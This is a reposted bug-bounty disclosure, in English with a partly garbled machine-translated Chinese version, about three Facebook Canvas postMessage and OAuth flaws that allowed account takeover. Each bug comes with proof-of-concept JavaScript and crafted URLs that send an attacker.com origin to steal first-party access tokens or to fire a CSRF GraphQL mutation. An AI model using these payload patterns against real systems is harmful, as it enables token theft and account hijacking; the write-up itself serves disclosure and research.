【转载】【漏洞分析】More secure Facebook Canvas : Tale of $126k worth of bugs that lead to Facebook Account Takeovers

Summery

夏天

Facebook allowed online games owners to host their games/applications in apps.facebook.com for many years now. The idea and technology behind it was that the game ( Flash or HTML5 based) would be hosted in the owner website and later the website page hosting it should be shown to the Facebook user in apps.facebook.com inside a controlled iframe. Since the game is not hosted in Facebook and for best user experience like keeping score and profile data, Facebook had to establish a communication channel with the game owner to verify the identity of the Facebook user for example. This was ensured by using cross windows communication/messaging between apps.facebook.com and the game website inside the iframe. In this blog post, i’ll be discussing multiple vulnerabilities i found in this implementation.

Facebook 已经允许在线游戏的拥有者多年以来一直在 apps.Facebook.com 地区主持他们的游戏/应用程序。其背后的想法和技术是,这款游戏(基于 Flash 或 HTML5)将托管在所有者网站上,随后托管该游戏的网站页面应该显示在一个控制的 iframe 内的 Facebook 用户 apps.Facebook.com。由于游戏不在 Facebook 上托管,为了获得最好的用户体验,比如保存分数和个人资料,Facebook 不得不建立一个与游戏所有者的沟通渠道来验证 Facebook 用户的身份。这是通过使用 iframe 中的 apps.facebook.com 和游戏网站之间的跨窗口通信/消息来确保的。在这篇博文中,我将讨论在这个实现中发现的多个漏洞。

Vulnerabilities potential

潜在的脆弱性

These bugs were found after careful auditing of the client-side code inside apps.facebook.com responsible of verifying what’s coming through this channel. The bugs explained below (and others) allowed me to takeover any Facebook account if the user decided to visit my game page inside apps.facebook.com. The severity of these bugs is high since these were present for years and billions of user and their information could have been compromised easily since this was served from inside Facebook. Facebook confirmed they didn’t see any indicators of previous abuse or exploitation of these bugs.

这些错误是在对负责验证通过这个通道的 apps.facebook.com 内部的客户端代码进行仔细审计后发现的。如果用户决定访问我的游戏页面,下面解释的 bug (以及其他 bug)允许我接管任何 Facebook 账户,只要用户决定访问我的游戏 apps.Facebook.com。这些漏洞的严重程度很高,因为这些漏洞已经存在多年,而且由于这些漏洞是从 Facebook 内部提供的,数十亿用户和他们的信息可能很容易被泄露。确认他们没有看到任何先前滥用或利用这些漏洞的迹象。

For Researchers

供研究人员使用

Before explaining the actual bugs below, i tried to show the way i decomposed the code and a simplified path to track the flow of the message data and how its components will be used. I probably didn’t left much to dig but i hope the information shared could help you in your research. If you are only interested in the bugs themselves then jump to each bug section part.

在解释下面的实际错误之前,我试图展示我分解代码的方法和一个简化的路径来跟踪消息数据流以及它的组件将如何使用。我可能没有留下太多可挖掘的信息,但我希望分享的信息可以帮助你的研究。如果您只对 bug 本身感兴趣,那么就跳到每个 bug 部分。

Description

描述

So far we know that the game page being served inside an iframe in apps.facebook.com is communicating with the parent window to ask Facebook to do some actions. Among the requested actions , for example , is to show a dialog to the user that would allow him to confirm the usage of the Facebook application owned by the game developers which would help me to identify you and get some information from an access token that they’ll receive if the user decided to user the application. The script responsible of receiving the cross window messages, interpreting them and understanding the action demanded is below ( only necessary parts are shown and as they were before the bugs were fixed ) :

到目前为止,我们知道在 apps.Facebook.com 的 iframe 中提供的游戏页面正在与父窗口通信,要求 Facebook 做一些操作。例如,在要求的操作中,向用户显示一个对话框,允许他确认游戏开发者拥有的 Facebook 应用程序的使用情况,这将帮助我识别你,并从一个访问令牌中获取一些信息,如果用户决定使用该应用程序,他们将收到这些信息。下面的脚本负责接收跨窗口消息,解释它们并理解需要的操作(只显示必要的部分,并且在修复 bug 之前是这样的) :

__d("XdArbiter", ...
            handleMessage: function(a, b, e) {
                d("Log").debug("XdArbiter at " + (window.name != null && window.name !== "" ? window.name : window == top ? "top" : "[no name]") + " handleMessage " + JSON.stringify(a));
                if (typeof a === "string" && /^FB_RPC:/.test(a)) {
                    k.enqueue([a.substring(7), {
                        origin: b,
                        source: e || i[h]
                    }]);
           ...
            send: function(a, b, e) {
                var f = e in i ? e : h;
                a = typeof a === "string" ? a : c("QueryString").encode(a);
                b = b;
                try {
                    d("SecurePostMessage").sendMessageToSpecificOrigin(b, a, e)
                } catch (a) {
                    d("Log").error("XdArbiter: Proxy for %s not available, page might have been navigated: %s", f, a.message), delete i[f]
                }
                return !0
            }
...

    window.addEventListener("message", function(a) {
        if (a.data.xdArbiterSyn) d("SecurePostMessage").sendMessageAllowAnyOrigin_UNSAFE(a.source, {
            xdArbiterAck: !0
        });
        else if (a.data.xdArbiterRegister) {
            var b = l.register(a.source, a.data.xdProxyName, a.data.origin, a.origin);
            d("SecurePostMessage").sendMessageAllowAnyOrigin_UNSAFE(a.source, {
                xdArbiterRegisterAck: b
            })
        } else a.data.xdArbiterHandleMessage && l.handleMessage(a.data.message, a.data.origin, a.source)
}), 98);

__d("JSONRPC", ...
        c.read = function(a, c) {
            ...
            e = this.local[a.method];
            try {
                e = e.apply(c || null, a.params);
                typeof e !== "undefined" && g("result", e)
            ...
    e.exports = a
}), null);

__d("PlatformAppController", ...
function f(a, b, e) { ...
         c("PlatformDialogClient").async(f, a, function(d) { ... b(d) });
}...
t.local.showDialog = f;

...

t = new(c("JSONRPC"))(function(a, b) {
            var d = b.origin || k;
            b = b.source;
            if (b == null) {
                var e = c("ge")(j);
                b = e.contentWindow
            }
            c("XdArbiter").send("FB_RPC:" + a, b, d)
        }
...

}), null);

__d("PlatformDialogClient", ...
function async(a, b, e) {
        var f = c("guid")(),
            g = b.state;
        b.state = f;
        b.redirect_uri = new(c("URI"))("/dialog/return/arbiter").setSubdomain("www").setFragment(c("QueryString").encode({
            origin: b.redirect_uri
        })).getQualifiedURI().toString();
        b.display = "async";
        j[f] = {
            callback: e || function() {},
            state: g
        };
        e = "POST";
        d("AsyncDialog").send(new(c("AsyncRequest"))(this.getURI(a, b)).setMethod(e).setReadOnly(!0).setAbortHandler(k(f)).setErrorHandler(l(f)))
    }
...
function getURI(a, b) {
        if (b.version) {
            var d = new(c("URI"))("/" + b.version + "/dialog/" + a);
            delete b.version;
            return d.addQueryData(b)
        }
        return c("PlatformVersioning").versionAwareURI(new(c("URI"))("/dialog/" + a).addQueryData(b))
    }

}), 98);

To simplify the code for you to understand the flow in case someone decides to dig more into it and looks for more bugs :

为了简化代码,以便你能够理解流程,以防有人决定深入挖掘代码并寻找更多的 bug:

Iframe sends message to parent => Message event dispatched in XdArbiter => Message handler function passes data to handleMessage function => “enqueue” function passes to JSONRPC => JSONRPC.read calls this.local.showDialog function in PlatformAppController => function checks message and if all valid, call PlatformDialogClient => PlatformDialogClient.async sends a POST request to apps.facebook.com/dialog/oauth , returned access_token would be passed to XdArbiter.send function ( few steps were skipped ) => XdArbiter.send would send a cross window message to the iframe window => Event dispatched in iframe window containing Facebook user access_token

在 XdArbiter = > Message handler 函数中,iframesend Message to parent = > Message Event delayed in XdArbiter = > Message handler function passes data to handleMessage function = > “ enqueue”function passes to JSONRPC = > JSONRPC.read calls this.local.showDialog function in PlatformAppController = > function checking Message and if all valid,call platformdialoggclient = > platformasyngoaldialog.c 向 apps.Facebook.com/dialog/oauth 发送 POST 请求,返回的访问权限将传递给 XdArbiter.send 函数(跳过了几个步骤) = > xbiter.send 将向 Iframe 窗口发送一个跨窗口消息,窗口中包含 Facebook 用户访问权限

Below an example of a simple code to construct the message to be sent to apps.facebook.com from the iframe, a similar one would be send from any game page using the Facebook Javascript SDK but with more unnecessary parts:

下面是一个简单的代码示例,用来构造要从 iframe 发送给 apps.Facebook.com 的消息,类似的代码可以从任何使用 Facebook Javascript SDK 的游戏页面发送,但是有更多不必要的部分:

 msg = JSON.stringify({"jsonrpc":"2.0",
                                    "method":"showDialog",
                                    "id":1,
                                    "params":[{"method":"permissions.oauth","display":"async","redirect_uri":"https://ysamm.com/callback","app_id":"APP_ID","client_id":"APP_ID","response_type":"token"}]})
                fullmsg = {xdArbiterHandleMessage:true,message:"FB_RPC:" + msg , origin: IFRAME_ORIGIN}
window.parent.postMessage(fullmsg,"*");

Interested parts to manipulate are :
IFRAME_ORIGIN, which is the one to be used in the redirect_uri parameter send with the POST request to apps.facebook.com/dialog/oauth to be verified server-side that it’s a domain owned by the application requesting an access_token, then would be used as targetOrigin in postMessage to send a cross window message to the iframe with the access_token
– Keys and values of the object inside params , there are the parameters to be appended to apps.facebook.com/dialog/oauth. Most interesting ones are redirect_uri ( which can replace IFRAME_ORIGIN in the POST request in some cases ) and APP_ID

感兴趣的操作部分是:-IFRAME _ origin,这是一个用于 redirect _ uri 参数发送的 POST 请求被验证的服务器端的 apps.facebook.com/dialog/oauth ,它是一个域的应用程序拥有的请求访问令牌,然后将用作 postMessage 的 targetOrigin 发送一个跨窗口消息与 access _ 令牌键和对象内部参数值的 IFRAME,有参数被附加到 apps.facebook.com/dialog/oauth。最有趣的是 redirect _ uri (在某些情况下可以替换 POST 请求中的 IFRAME _ origin)和 APP _ id

Attacks vectors/scenarios

攻击载体/场景

What we’ll do here is to try to instead of requesting an access token for the game application we own, we’ll try to get one of a Facebook first party application like Instagram. What’s holding us back is although we control the IFRAME_ORIGIN and APP_ID which we can set to match the Instagram application as http://www.instagram.com and 124024574287414, later the message sent to the iframe containing the first party access token would have a targetOrigin in postMessage as http://www.instagram.com which is not our window origin. Facebook did a good job protecting against these attacks ( i’ll argue though to why not using the origin from the event message received and matching app_id to the hosted game instead of giving us total freedom which could have prevented all these bugs ), but apparently they left some weaknesses that could have been exploited for many years.

我们在这里要做的不是为我们拥有的游戏应用程序申请访问令牌,而是尝试获得一个像 Instagram 这样的 Facebook 第一方应用程序。尽管我们可以设置 IFRAME origin 和 APP id 来匹配 Instagram 应用程序的 http://www.Instagram.com 和124024574287414,但是之后发送给包含第一方访问令牌的 IFRAME 的消息在 postMessage 中会有一个 targetOrigin,这不是我们的窗口 http://www.Instagram.com。Facebook 在防御这些攻击方面做得很好(我想说的是为什么不使用收到的事件消息的来源,并将 app _ id 与托管的游戏进行匹配,而不是给予我们完全的自由,这本可以避免所有这些 bug) ,但是显然他们留下了一些可能被利用多年的弱点。

Bug 1: Parameter Pollution, it was checked server-side and we definitely should trust it

缺陷1: 参数污染,它是检查服务器端,我们绝对应该信任它

This bug occurs due to the fact that the POST request to https://apps.facebook.com/dialog/oauth when constructed from the received message from the iframe, could contain user controlled parameters.
All parameters are checked in the client-side ( PlatformAppController, showDialog method and ,PlatformDialogClient.async method) and duplicate parameters will be removed in PlatformAppController , also AsyncRequest module seems to be doing some filtering ( removing parameters that already exist but brackets were appended to it ).

However due to some missing checking in the server-side, a parameter name set to PARAM[random would replace a previously set parameter PARAM ; for example redirect_uri[0 parameter value would replace redirect_uri. We can abuse this as follow :
1) Set APP_ID to be the Instagram application id.
2) The redirect_uri will be constructed in PlatformDialogClient.async (Line 72 ) using IFRAME_ORIGIN ( will end up https://www.facebook.com/dialog/return/arbiter#origin=https://attacker.com ) , which would be sent matching our iframe window origin but won’t be used at all as explained below.
3) Set redirect_uri[0 in params as an additional parameter ( order matters so it must be after redirect_uri ) to be https://www.instagram.com/accounts/signup/ which is a valid redirect_uri for the Instagram applicaiton.
The URL of the POST request end up being something like this:

这个错误是因为当从 iframe 接收到的消息构造 POST 请求到 https://apps.facebook.com/dialog/oauth 时,可能包含用户控制的参数。所有参数都在客户端检查(PlatformAppController、 showDialog 方法和 PlatformDialogClient.async 方法) ,重复的参数将在 PlatformAppController 中删除,AsyncRequest 模块似乎正在进行一些过滤(删除已经存在的参数,但添加了括号)。然而,由于服务器端缺少检查,设置为 PARAM [ random 的参数名将替换以前设置的参数 PARAM; 例如 redirect _ uri [0参数值将替换 redirect _ uri。我们可以这样滥用: 1)设置 APP _ id 为 Instagram 应用程序 id。2) redirect _ uri 将使用 IFRAME _ origin 在 PlatformDialogClient.async (第72行)中构建,它将被发送到与 IFRAME 窗口原点相匹配的 https://www.facebook.com/dialog/return/arbiter#origin=https://attacker.com ,但不会像下面解释的那样被使用。3)设置 redirect _ uri [0 in params 作为一个额外的参数(顺序很重要,所以必须在 redirect _ uri 之后)为 https://www.Instagram.com/accounts/signup/ ,这是 Instagram 应用程序的一个有效 redirect _ uri。请求的 URL 如下所示:

https://apps.facebook.com/dialog/oauth?state=f36be3f648ddfb&display=async&redirect_uri=https://www.facebook.com/dialog/return/arbiter#origin=https://attacker.com&app_id=124024574287414&client_id=124024574287414&response_type=token&redirect_uri[0=https://www.instagram.com/accounts/signup/

The request would end up being successful and returning a first party access token since redirect_uri[0 replaces redirect_uri and it’s a valid redirect_uri. In the client side though, the logic is if an access_token was received it means that the origin used to construct the redirect_uri did work with the app_id and for that it should trust it and use to send the message to the iframe, behind the scenes though redirect_uri[0 was used and not redirect_uri ( Cool right?)

Proof of concept

因为 redirect _ uri [0替换了 redirect _ uri,而且它是一个有效的 redirect _ uri,所以请求最终会成功并返回一个第一方访问令牌。但是在客户端,逻辑是,如果接收到一个访问令牌,这意味着用于构造 redirect _ uri 的原点确实与 app _ id 一起工作,因此它应该信任它,并用它将消息发送到 iframe,在幕后虽然 redirect _ uri [0被使用而不是 redirect _ uri (Cool right?))概念验证

xmsg = JSON.stringify({"jsonrpc":"2.0",
                                    "method":"showDialog",
                                    "id":1,
                                    "params":[{"method":"permissions.oauth","display":"async","redirect_uri":"https://attacker.com/callback","app_id":"124024574287414","client_id":"124024574287414","response_type":"token","redirect_uri[0":"https://www.instagram.com/accounts/signup/"}]})
                fullmsg = {xdArbiterHandleMessage:true,message:"FB_RPC:" + xmsg , origin: "https://attacker.com"}
window.parent.postMessage(fullmsg,"*");

Bug 2: Why bothering, Origin is undefined

为什么这么麻烦,起源还没有定义

The main problem for this one is that /dialog/oauth endpoint would accept https://www.facebook.com/dialog/return/arbiter as a valid redirect_uri ( without a valid origin in the fragment part ) for third-party applications and some first-party ones.
The second problem is that this behaviour to occur ( no origin in the fragment part ), the message sent from the iframe to apps.facebook.com should not contain a.data.origin ( IFRAME_ORIGIN is undefined ) , however this same value would be used later to send a cross window message to the iframe, if null or undefined is used, the message won’t be received.
Likely, i noticed that JSONRPC function would always receive a not null origin of the postMessage ( Line 55 ) . Since b.origin is undefined or null, k would be chosen. k could be set by the attacker by first registering a valid origin via c(“Arbiter”).subscribe(“XdArbiter/register”) which could be informed if our message had xdArbiterRegister and a specified origin . Before “k” variable is set, the supplied origin would be checked first if it belongs to the attacker application using “/platform/app_owned_url_check/” endpoint.
This is wrong and the second problem occurs here since we can’t ensure that the user in the next cross origin message sent from the iframe would supply the same APP_ID.

对于第三方应用程序和一些第一方应用程序来说,/dialog/oauth 端点将接受 https://www.facebook.com/dialog/return/arbiter 作为一个有效的 redirect _ uri (片段部分没有有效的起点)。第二个问题是,这种行为会发生(片段部分没有原点) ,从 IFRAME 发送到 apps.facebook.com 的消息不应该包含 a.data.origin (IFRAME _ origin 未定义) ,但是这个相同的值稍后会被用来向 IFRAME 发送跨窗口消息,如果使用 null 或未定义,消息将不会被接收。很可能,我注意到 JSONRPC 函数总是会接收到一个非空的 postMessage 原点(第55行)。由于 b.origin 未定义或为 null,因此将选择 k。攻击者可以通过 c 注册一个有效的源(“仲裁者”)来设置 k。订阅(“ XdArbiter/register”) ,如果我们的消息具有 xdArbiterRegister 和指定的来源,就可以通知它。在设置“ k”变量之前,如果提供的原点属于使用“/platform/app _ owned _ url _ check/”端点的攻击者应用程序,那么将首先检查它。这是错误的,这里发生了第二个问题,因为我们不能确保从 iframe 发送的下一个跨源消息中的用户将提供相同的 APP _ id。

Not all first-party applications are vulnerable to this though. I used the Facebook Watch for Android application or Portal to get a first party access_token.

不过,并非所有第一方应用程序都容易受到这种攻击。我用 Facebook Watch for Android 应用程序或 Portal 获得了第一方访问令牌。

The URL of the POST request would be something like this:

请求的 URL 如下所示:

https://apps.facebook.com/dialog/oauth?state=f36be3f648ddfb&display=async&redirect_uri=https://www.facebook.com/dialog/return/arbiter&app_id=1348564698517390&client_id=1348564698517390&response_type=token

Proof Of Concept

概念证明

window.parent.postMessage({xdArbiterRegister:true,origin:"https://attacker.com"},"*")

xmsg = JSON.stringify({"jsonrpc":"2.0",
                                    "method":"showDialog",
                                    "id":1,
                                    "params":[{"method":"permissions.oauth","display":"async","app_id":"1348564698517390","client_id":"1348564698517390","response_type":"token"}]})
                fullmsg = {xdArbiterHandleMessage:true,message:"FB_RPC:" + xmsg}
window.parent.postMessage(fullmsg,"*");

Bug 3: Total Chaos, version can’t be harmful

完全混乱,版本不会有害

This bug one occurs in PlatformDialogClient.getURI function which is responsible of setting the API version before /dialog/oauth endpoint. This function didn’t check for double dots or added paths and directly constructed a URI object to be used later to send an XHR request ( Line 86 ).
The version property in params passed in the cross window message sent to apps.facebook.com could be set to api/graphql/?doc_id=DOC_ID&variables=VAR# and would eventually lead to a POST request sent to the GraphQL endpoint with valid user CSRF token.

这个 bug 出现在 PlatformDialogClient.getURI 函数中,该函数负责在/dialog/oauth 端点之前设置 API 版本。这个函数没有检查双点或添加路径,而是直接构造了一个 URI 对象,以便稍后用于发送 XHR 请求(第86行)。传递给 apps.facebook.com 的跨窗口消息中的参数中的 version 属性可以设置为 api/graphql/?DOC _ id = DOC _ id & variables = VAR # ,并最终导致使用有效的用户 CSRF 令牌向 GraphQL 端点发送 POST 请求。

DOC_ID and VAR could be set to an id of a GraphQL Mutation to add a phone number to the attacount, and the variables of this mutation.

DOC _ id 和 VAR 可以设置为一个 GraphQL Mutation 的 id,以便向 attacount 添加一个电话号码,以及此变异的变量。

The URL of the POST request would be something like this:

请求的 URL 如下所示:

https://apps.facebook.com/api/graphql?doc_id=DOC_ID&variables=VAR&?/dialog/oauth&state=f36be3f648ddfb&display=async&redirect_uri=https://www.facebook.com/dialog/return/arbiter#origin=attacker&app_id=1348564698517390&client_id=1348564698517390&response_type=token

Proof Of Concept

概念证明

xmsg = JSON.stringify({"jsonrpc":"2.0",
                                    "method":"showDialog",
                                    "id":1,
                                    "params":[{"method":"permissions.oauth","display":"async","client_id":"APP_ID","response_type":"token","version":"api/graphql?doc_id=DOC_ID&variables=VAR&"}]})
                fullmsg = {xdArbiterHandleMessage:true,message:"FB_RPC:" + xmsg , origin: "https://attacker.com"}
window.parent.postMessage(fullmsg,"*");

Timeline

时间轴

  1. Aug 4, 2021— Report Sent  2021年8月4日ー发送报告
    Aug 4, 2021—  Acknowledged by Facebook 2021年8月4日ー Facebook 承认
    Aug 6, 2021— Fixed by Facebook 2021年8月6日ー Facebook 修复
    Sep 2, 2021 — $42000 bounty awarded by Facebook. 2021年9月2日ー4.2万美元 Facebook 悬赏
  2. Aug 9, 2021— Report Sent  2021年8月9日ー发送报告
    Aug 9, 2021—  Acknowledged by Facebook 2021年8月9日ー Facebook 承认
    Aug 12, 2021— Fixed by Facebook 2021年8月12日ー Facebook 修复
    Aug 31, 2021 — $42000 bounty awarded by Facebook. 2021年8月31日ー Facebook 奖励4.2万美元
  3. Aug 12, 2021— Report Sent  2021年8月12日ー发送报告
    Aug 13, 2021—  Acknowledged by Facebook 2021年8月13日ー Facebook 承认
    Aug 17, 2021— Fixed by Facebook 2021年8月17日ー Facebook 修复
    Sep 2, 2021 — $42000 bounty awarded by Facebook. 2021年9月2日ー4.2万美元 Facebook 悬赏